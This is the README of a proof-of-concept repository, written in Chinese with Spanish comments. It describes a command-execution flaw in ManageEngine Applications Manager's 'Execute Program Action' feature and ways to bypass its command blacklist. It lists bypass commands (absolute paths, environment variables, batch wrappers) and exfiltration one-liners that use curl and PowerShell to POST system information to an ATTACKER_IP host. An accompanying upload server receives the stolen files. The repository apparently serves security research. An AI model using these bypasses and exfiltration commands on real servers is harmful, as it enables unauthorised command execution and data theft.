本仓库包含一个概念验证(PoC),演示了 ManageEngine Applications Manager 中"Execute Program Action"功能存在的命令执行漏洞。
Applications Manager 使用黑名单(BlackListCommands)来阻止危险命令,但验证存在严重缺陷:
| 方法 | 示例 |
|---|---|
| 绝对路径 | C:\Windows\System32\netstat.exe |
| 环境变量 | %SystemRoot%\System32\netstat.exe |
| 脚本包装器 | echo netstat > a.bat && a.bat |
C:\Windows\System32\netstat.exe > out.txt && C:\Windows\System32\curl.exe -X POST -F "[email protected]" http://[KALI_IP]:8000/upload
脚本 upload_server.py 提供一个简单的 HTTP 服务器,用于接收被外泄的文件。
python3 upload_server.py
python3 upload_server.py --host 0.0.0.0 --port 8000 --dir ./uploads
--host:绑定地址(默认值:0.0.0.0)--port:HTTP 端口(默认值:8000)--dir:输出目录(默认值:当前目录)| 方法 | 端点 |
|---|
✅ 防止路径遍历(path traversal)
✅ 使用带时间戳的唯一文件名
✅ 记录请求的 IP 和 User-Agent
✅ 内容类型验证
创建一个包含绕过示例的 test_commands.txt 文件:
# Bypass con ruta absoluta
C:\Windows\System32\whoami.exe
C:\Windows\System32\netstat.exe -an
# Bypass con variables de entorno
%SystemRoot%\System32\ipconfig.exe
%SystemRoot%\System32\systeminfo.exe
# Bypass con script wrapper
echo ipconfig > test.bat && test.bat
echo whoami > test.bat && call test.bat
# Ejemplos de exfiltración de datos
C:\Windows\System32\ipconfig.exe > network.txt && C:\Windows\System32\curl.exe -X POST -F "[email protected]" http://ATTACKER_IP:8000/upload
C:\Windows\System32\systeminfo.exe > system.txt && C:\Windows\System32\powershell.exe -c "Invoke-WebRequest -Uri http://ATTACKER_IP:8000/upload -Method POST -InFile system.txt"
重要提示: 本工具仅用于教育和授权测试目的。
❌ 请勿在您不拥有或未获明确测试许可的系统上使用
❌ 请勿将本工具用于任何非法活动
✅ 可以仅在受控环境中用于安全研究
✅ 可以在进行测试前获得适当授权
作者不对本工具的任何滥用负责。使用者需承担全部责任和风险。
本项目仅用于研究和教育目的。保留所有权利。
Johan Aybar - 仅供教育目的
⚠️ 提醒: 此 PoC 仅应在授权的测试环境中使用。未经授权的使用可能属于违法行为,并受到严格禁止。
| 描述 |
|---|
| GET | / | 列出最近上传的文件 |
| POST | /upload | 上传文件(multipart/form-data) |
| PUT | /upload/[filename] | 直接上传文件 |